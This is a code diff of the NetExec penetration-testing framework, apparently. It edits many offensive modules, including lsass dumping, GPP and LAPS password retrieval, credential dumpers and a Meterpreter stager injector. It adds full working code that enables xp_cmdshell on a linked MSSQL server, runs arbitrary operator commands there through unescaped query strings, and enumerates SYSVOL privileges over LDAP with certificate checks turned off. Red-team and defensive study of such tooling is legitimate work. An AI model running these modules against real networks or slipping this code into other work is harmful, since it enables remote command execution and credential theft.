|
||||
@@ -31,4 +30,4 @@ class NXCModule:
|
||||
|
||||
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -11,8 +11,6 @@ class NXCModule:
|
||||
name = "gpp_autologin"
|
||||
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -14,8 +14,6 @@ class NXCModule:
|
||||
name = "gpp_password"
|
||||
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
import re
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
|
||||
and resolving SIDs using LDAP.
|
||||
"""
|
||||
|
||||
name = "gpp_privileges"
|
||||
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
|
||||
supported_protocols = ["smb"]
|
||||
|
||||
WELL_KNOWN_SIDS = {
|
||||
"S-1-0": "Null Authority",
|
||||
"S-1-0-0": "Nobody",
|
||||
"S-1-1": "World Authority",
|
||||
"S-1-1-0": "Everyone",
|
||||
"S-1-2": "Local Authority",
|
||||
"S-1-2-0": "Local",
|
||||
"S-1-2-1": "Console Logon",
|
||||
"S-1-3": "Creator Authority",
|
||||
"S-1-3-0": "Creator Owner",
|
||||
"S-1-3-1": "Creator Group",
|
||||
"S-1-3-2": "Creator Owner Server",
|
||||
"S-1-3-3": "Creator Group Server",
|
||||
"S-1-3-4": "Owner Rights",
|
||||
"S-1-5-80-0": "All Services",
|
||||
"S-1-4": "Non-unique Authority",
|
||||
"S-1-5": "NT Authority",
|
||||
"S-1-5-1": "Dialup",
|
||||
"S-1-5-2": "Network",
|
||||
"S-1-5-3": "Batch",
|
||||
"S-1-5-4": "Interactive",
|
||||
"S-1-5-6": "Service",
|
||||
"S-1-5-7": "Anonymous",
|
||||
"S-1-5-8": "Proxy",
|
||||
"S-1-5-9": "Enterprise Domain Controllers",
|
||||
"S-1-5-10": "Principal Self",
|
||||
"S-1-5-11": "Authenticated Users",
|
||||
"S-1-5-12": "Restricted Code",
|
||||
"S-1-5-13": "Terminal Server Users",
|
||||
"S-1-5-14": "Remote Interactive Logon",
|
||||
"S-1-5-15": "This Organization",
|
||||
"S-1-5-17": "This Organization",
|
||||
"S-1-5-18": "Local System",
|
||||
"S-1-5-19": "NT Authority",
|
||||
"S-1-5-20": "NT Authority",
|
||||
"S-1-5-32-544": "Administrators",
|
||||
"S-1-5-32-545": "Users",
|
||||
"S-1-5-32-546": "Guests",
|
||||
"S-1-5-32-547": "Power Users",
|
||||
"S-1-5-32-548": "Account Operators",
|
||||
"S-1-5-32-549": "Server Operators",
|
||||
"S-1-5-32-550": "Print Operators",
|
||||
"S-1-5-32-551": "Backup Operators",
|
||||
"S-1-5-32-552": "Replicators",
|
||||
"S-1-5-64-10": "NTLM Authentication",
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
"S-1-16-8448": "Medium Plus Mandatory Level",
|
||||
"S-1-16-12288": "High Mandatory Level",
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
|
||||
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
|
||||
}
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO_LDAP If set to True, disables LDAP queries for resolving SIDs."""
|
||||
self.no_ldap = module_options.get("NO_LDAP", False)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
connection.conn.listPath("SYSVOL", "*")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to list shares: {e}")
|
||||
return
|
||||
|
||||
context.log.display("Searching for GptTmpl.inf files")
|
||||
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
|
||||
|
||||
if not paths:
|
||||
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
|
||||
return
|
||||
|
||||
for path in paths:
|
||||
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
|
||||
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
|
||||
else:
|
||||
context.log.info(f"Found GptTmpl.inf: {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
|
||||
try:
|
||||
content = buf.getvalue().decode("utf-16le")
|
||||
except UnicodeDecodeError as e:
|
||||
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
|
||||
continue
|
||||
|
||||
privileges = self.extract_privileges(content)
|
||||
if privileges:
|
||||
ldap_connection = None
|
||||
if not self.no_ldap:
|
||||
ldap_connection = self.initialize_ldap_connection(context, connection)
|
||||
|
||||
context.log.success(f"Privileges extracted from {path}:")
|
||||
for privilege, sids in privileges.items():
|
||||
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
|
||||
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
|
||||
|
||||
if ldap_connection:
|
||||
ldap_connection.unbind()
|
||||
|
||||
def extract_privileges(self, content):
|
||||
"""Parses the content of GptTmpl.inf to extract privilege rights."""
|
||||
privileges = {}
|
||||
in_priv_section = False
|
||||
|
||||
for line in content.splitlines():
|
||||
if line.strip() == "[Privilege Rights]":
|
||||
in_priv_section = True
|
||||
continue
|
||||
if in_priv_section and line.strip() == "":
|
||||
break
|
||||
if in_priv_section:
|
||||
match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
|
||||
if match:
|
||||
privilege, sids = match.groups()
|
||||
privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
|
||||
|
||||
return privileges
|
||||
|
||||
def initialize_ldap_connection(self, context, connection):
|
||||
"""
|
||||
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
|
||||
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
|
||||
"""
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
base_dn = None
|
||||
|
||||
try:
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
|
||||
ldap_connection = ldap3.Connection(
|
||||
ldap_server,
|
||||
user=f"{connection.domain}\\{connection.username}",
|
||||
password=connection.password,
|
||||
authentication=ldap3.NTLM,
|
||||
raise_exceptions=True,
|
||||
)
|
||||
ldap_connection.bind()
|
||||
context.log.success("Connected to LDAP over SSL (LDAPS).")
|
||||
|
||||
try:
|
||||
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
|
||||
except Exception as e:
|
||||
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
|
||||
|
||||
if not base_dn:
|
||||
domain_parts = connection.domain.split(".")
|
||||
base_dn = ",".join([f"dc={part}" for part in domain_parts])
|
||||
context.log.info(f"Derived base DN: {base_dn}")
|
||||
|
||||
ldap_connection.base_dn = base_dn
|
||||
return ldap_connection
|
||||
|
||||
except Exception as ldaps_error:
|
||||
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
|
||||
context.log.info("Falling back to plain LDAP...")
|
||||
|
||||
try:
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
|
||||
ldap_connection = ldap3.Connection(
|
||||
ldap_server,
|
||||
user=f"{connection.domain}\\{connection.username}",
|
||||
password=connection.password,
|
||||
authentication=ldap3.NTLM,
|
||||
raise_exceptions=True,
|
||||
)
|
||||
ldap_connection.bind()
|
||||
context.log.info("Connected to LDAP successfully (plaintext).")
|
||||
|
||||
try:
|
||||
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
|
||||
except Exception as e:
|
||||
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
|
||||
|
||||
if not base_dn:
|
||||
domain_parts = connection.domain.split(".")
|
||||
base_dn = ",".join([f"dc={part}" for part in domain_parts])
|
||||
context.log.info(f"Derived base DN: {base_dn}")
|
||||
|
||||
ldap_connection.base_dn = base_dn
|
||||
return ldap_connection
|
||||
|
||||
except Exception as ldap_error:
|
||||
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
|
||||
|
||||
return None
|
||||
|
||||
def resolve_sid(self, context, sid, ldap_connection):
|
||||
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
|
||||
if sid in self.WELL_KNOWN_SIDS:
|
||||
return self.WELL_KNOWN_SIDS[sid]
|
||||
|
||||
if ldap_connection and ldap_connection.bound:
|
||||
try:
|
||||
base_dn = getattr(ldap_connection, "base_dn", None)
|
||||
if not base_dn:
|
||||
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
|
||||
return sid
|
||||
|
||||
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
|
||||
ldap_connection.search(
|
||||
search_base=base_dn,
|
||||
search_filter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
|
||||
if ldap_connection.entries:
|
||||
entry = ldap_connection.entries[0]
|
||||
return f"{entry['sAMAccountName']}"
|
||||
else:
|
||||
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
|
||||
except Exception as e:
|
||||
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
|
||||
else:
|
||||
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
|
||||
|
||||
return sid
|
||||
@@ -13,8 +13,7 @@ class NXCModule:
|
||||
name = "group-mem"
|
||||
description = "[REMOVED] Retrieves all the members within a Group"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
primaryGroupID = ""
|
||||
answers = []
|
||||
|
||||
|
||||
@@ -15,8 +15,6 @@ class NXCModule:
|
||||
name = "groupmembership"
|
||||
description = "Query the groups to which a user belongs."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""USER Choose a username to query group membership"""
|
||||
|
||||
@@ -14,8 +14,6 @@ class NXCModule:
|
||||
name = "handlekatz"
|
||||
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
|
||||
@@ -130,8 +130,6 @@ class NXCModule:
|
||||
name = "hash_spider"
|
||||
description = "Dump lsass recursively from a given hash using BH to find local admins"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -9,8 +9,6 @@ class NXCModule:
|
||||
name = "hyperv-host"
|
||||
description = "Performs a registry query on the VM to lookup its HyperV Host"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -8,8 +8,6 @@ class NXCModule:
|
||||
name = "iis"
|
||||
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@@ -14,8 +14,6 @@ class NXCModule:
|
||||
name = "impersonate"
|
||||
description = "List and impersonate tokens to run command as locally logged on users"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # could be flagged
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -7,8 +7,6 @@ class NXCModule:
|
||||
name = "install_elevated"
|
||||
description = "Checks for AlwaysInstallElevated"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -13,8 +13,6 @@ class NXCModule:
|
||||
name = "ioxidresolver"
|
||||
description = "This module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
|
||||
|
||||
@@ -12,8 +12,6 @@ class NXCModule:
|
||||
name = "keepass_discover"
|
||||
description = "Search for KeePass-related files and process."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.search_type = "ALL"
|
||||
|
||||
@@ -4,8 +4,9 @@ from time import sleep
|
||||
from csv import reader
|
||||
from base64 import b64encode
|
||||
from io import BytesIO, StringIO
|
||||
from xml.etree import ElementTree
|
||||
from xml.etree import ElementTree as ET
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -23,8 +24,6 @@ class NXCModule:
|
||||
# while the module only executes legit powershell commands on the target (search and edit files)
|
||||
# some EDR like Trend Micro flag base64-encoded powershell as malicious
|
||||
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
# module options
|
||||
@@ -39,7 +38,7 @@ class NXCModule:
|
||||
self.share = "C$"
|
||||
self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1"
|
||||
self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
|
||||
self.local_export_path = "/tmp"
|
||||
self.local_export_path = TMP_PATH
|
||||
self.trigger_name = "export_database"
|
||||
self.poll_frequency_seconds = 5
|
||||
self.dummy_service_name = "OneDrive Sync KeePass"
|
||||
@@ -358,7 +357,7 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue())
|
||||
keepass_config_xml_root = ET.fromstring(buffer.getvalue())
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}")
|
||||
sys.exit(1)
|
||||
@@ -377,7 +376,7 @@ class NXCModule:
|
||||
|
||||
def extract_password(self, context):
|
||||
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
|
||||
xml_tree = ElementTree.parse(xml_doc_path)
|
||||
xml_tree = ET.parse(xml_doc_path)
|
||||
root = xml_tree.getroot()
|
||||
|
||||
root_entries = root.find("./Root/Entry")
|
||||
|
||||
@@ -17,8 +17,6 @@ class NXCModule:
|
||||
name = "laps"
|
||||
description = "Retrieves all LAPS passwords which the account has read permissions for."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
|
||||
|
||||
@@ -23,10 +23,8 @@ class NXCModule:
|
||||
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
|
||||
"""
|
||||
name = "ldap-checker"
|
||||
description = "Checks whether LDAP signing and channel binding are required and / or enforced"
|
||||
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
@@ -112,7 +110,6 @@ class NXCModule:
|
||||
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
|
||||
return None
|
||||
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
@@ -174,6 +171,8 @@ class NXCModule:
|
||||
# Determine authentication context and proceed to
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail("[REMOVED] Now natively supported in the host banner")
|
||||
return
|
||||
stype = asyauthSecret.PASS
|
||||
secret = connection.password
|
||||
if connection.nthash:
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enable or disable xp_cmdshell on a linked MSSQL server
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "link_enable_cmdshell"
|
||||
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
|
||||
def __init__(self):
|
||||
self.action = None
|
||||
self.linked_server = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Defines the options for enabling or disabling xp_cmdshell on the linked server.
|
||||
ACTION Specifies whether to enable or disable:
|
||||
- enable (default)
|
||||
- disable
|
||||
LINKED_SERVER The name of the linked SQL server to target.
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "enable")
|
||||
self.linked_server = module_options.get("LINKED_SERVER")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
|
||||
# Store the original state of options that have to be enabled/disabled in order to restore them later
|
||||
self.backuped_options = {}
|
||||
|
||||
if not self.linked_server:
|
||||
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
|
||||
return
|
||||
|
||||
# Enable or disable xp_cmdshell based on action
|
||||
if self.action == "enable":
|
||||
self.enable_xp_cmdshell()
|
||||
elif self.action == "disable":
|
||||
self.disable_xp_cmdshell()
|
||||
else:
|
||||
self.context.log.fail(f"Unknown action: {self.action}")
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
"""Enable xp_cmdshell on the linked server."""
|
||||
self.backup_and_enable("advanced options")
|
||||
|
||||
current_value = self.is_option_enabled("xp_cmdshell")
|
||||
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
|
||||
self.mssql_conn.sql_query(f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]")
|
||||
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
|
||||
|
||||
self.restore("advanced options")
|
||||
|
||||
def disable_xp_cmdshell(self):
|
||||
"""Disable xp_cmdshell on the linked server."""
|
||||
self.backup_and_enable("advanced options")
|
||||
|
||||
current_value = self.is_option_enabled("xp_cmdshell")
|
||||
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
|
||||
self.mssql_conn.sql_query(f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{self.linked_server}]")
|
||||
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
|
||||
|
||||
self.restore("advanced options")
|
||||
|
||||
# Adapting methods from MSSQLEXEC for backup and restore functionality
|
||||
def restore(self, option):
|
||||
try:
|
||||
if not self.backuped_options[option]:
|
||||
self.context.log.debug(f"Option '{option}' was not enabled on {self.linked_server} originally, attempting to disable it.")
|
||||
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 0;RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
else:
|
||||
self.context.log.debug(f"Option '{option}' was originally enabled on {self.linked_server}, leaving it enabled.")
|
||||
except Exception as e:
|
||||
self.context.log.error(f"[OPSEC] Error when attempting to restore option '{option}' on {self.linked_server}: {e}")
|
||||
|
||||
def backup_and_enable(self, option):
|
||||
try:
|
||||
self.backuped_options[option] = self.is_option_enabled(option)
|
||||
if not self.backuped_options[option]:
|
||||
self.context.log.debug(f"Option '{option}' is disabled on {self.linked_server}, attempting to enable it.")
|
||||
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 1;RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
else:
|
||||
self.context.log.debug(f"Option '{option}' is already enabled on {self.linked_server}.")
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error when checking/enabling option '{option}' on {self.linked_server}: {e}")
|
||||
|
||||
def is_option_enabled(self, option):
|
||||
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\";') AT [{self.linked_server}]"
|
||||
self.context.log.debug(f"Checking if {option} is enabled on {self.linked_server}: {query}")
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
# Assuming the query returns a list of dictionaries with 'config_value' as the key
|
||||
self.context.log.debug(f"{option} check result: {result}")
|
||||
return bool(result and result[0]["config_value"] == 1)
|
||||
@@ -1,63 +0,0 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enable or disable xp_cmdshell on a linked SQL server
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "link_enable_xp"
|
||||
description = "Enable or disable xp_cmdshell on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.action = None
|
||||
self.linked_server = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Defines the options for enabling or disabling xp_cmdshell on the linked server.
|
||||
ACTION Specifies whether to enable or disable:
|
||||
- enable (default)
|
||||
- disable
|
||||
LINKED_SERVER The name of the linked SQL server to target.
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "enable")
|
||||
self.linked_server = module_options.get("LINKED_SERVER")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
if not self.linked_server:
|
||||
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
|
||||
return
|
||||
|
||||
# Enable or disable xp_cmdshell based on action
|
||||
if self.action == "enable":
|
||||
self.enable_xp_cmdshell()
|
||||
elif self.action == "disable":
|
||||
self.disable_xp_cmdshell()
|
||||
else:
|
||||
self.context.log.fail(f"Unknown action: {self.action}")
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
"""Enable xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
|
||||
out = self.query_and_get_output(query)
|
||||
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
|
||||
out = self.query_and_get_output(query)
|
||||
self.context.log.display(out)
|
||||
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
|
||||
|
||||
def disable_xp_cmdshell(self):
|
||||
"""Disable xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
|
||||
self.query_and_get_output(query)
|
||||
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
"""Executes a query and returns the output."""
|
||||
return self.mssql_conn.sql_query(query)
|
||||
+19
-14
@@ -7,8 +7,6 @@ class NXCModule:
|
||||
name = "link_xpcmd"
|
||||
description = "Run xp_cmdshell commands on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.linked_server = None
|
||||
@@ -30,15 +28,22 @@ class NXCModule:
|
||||
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
|
||||
return
|
||||
|
||||
self.run_xp_cmdshell(self.command)
|
||||
|
||||
def run_xp_cmdshell(self, cmd):
|
||||
"""Run the specified command via xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
|
||||
result = self.query_and_get_output(query)
|
||||
self.context.log.success(f"Command output:\n{result}")
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
"""Executes a query and returns the output."""
|
||||
return self.mssql_conn.sql_query(query)
|
||||
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
|
||||
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
|
||||
if result:
|
||||
output_lines = []
|
||||
for row in result:
|
||||
output_value = row.get("output")
|
||||
if output_value and output_value != "NULL":
|
||||
output_lines.append(str(output_value))
|
||||
|
||||
if output_lines:
|
||||
self.context.log.success("Executed command via linked server")
|
||||
for line in output_lines:
|
||||
self.context.log.highlight(line.strip())
|
||||
else:
|
||||
self.context.log.display("Command executed but returned no output")
|
||||
else:
|
||||
self.context.log.fail("No result returned from query")
|
||||
@@ -16,8 +16,6 @@ class NXCModule:
|
||||
name = "lsassy"
|
||||
description = "Dump lsass and parse the result remotely with lsassy"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # writes temporary files, and it's possible for them to not be deleted
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -19,8 +19,6 @@ class NXCModule:
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
|
||||
@@ -6,8 +6,6 @@ class NXCModule:
|
||||
name = "masky"
|
||||
description = "Remotely dump domain user credentials via an ADCS and a KDC"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
|
||||
@@ -10,8 +10,6 @@ class NXCModule:
|
||||
name = "met_inject"
|
||||
description = "Downloads the Meterpreter stager and injects it into memory"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.rand = None
|
||||
|
||||
@@ -9,8 +9,6 @@ class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -16,6 +16,7 @@ class MRemoteNgEncryptionAttributes:
|
||||
encryption_engine: str
|
||||
full_file_encryption: bool
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Dump mRemoteNG Passwords
|
||||
@@ -25,8 +26,6 @@ class NXCModule:
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.false_positive = (
|
||||
@@ -181,7 +180,6 @@ class NXCModule:
|
||||
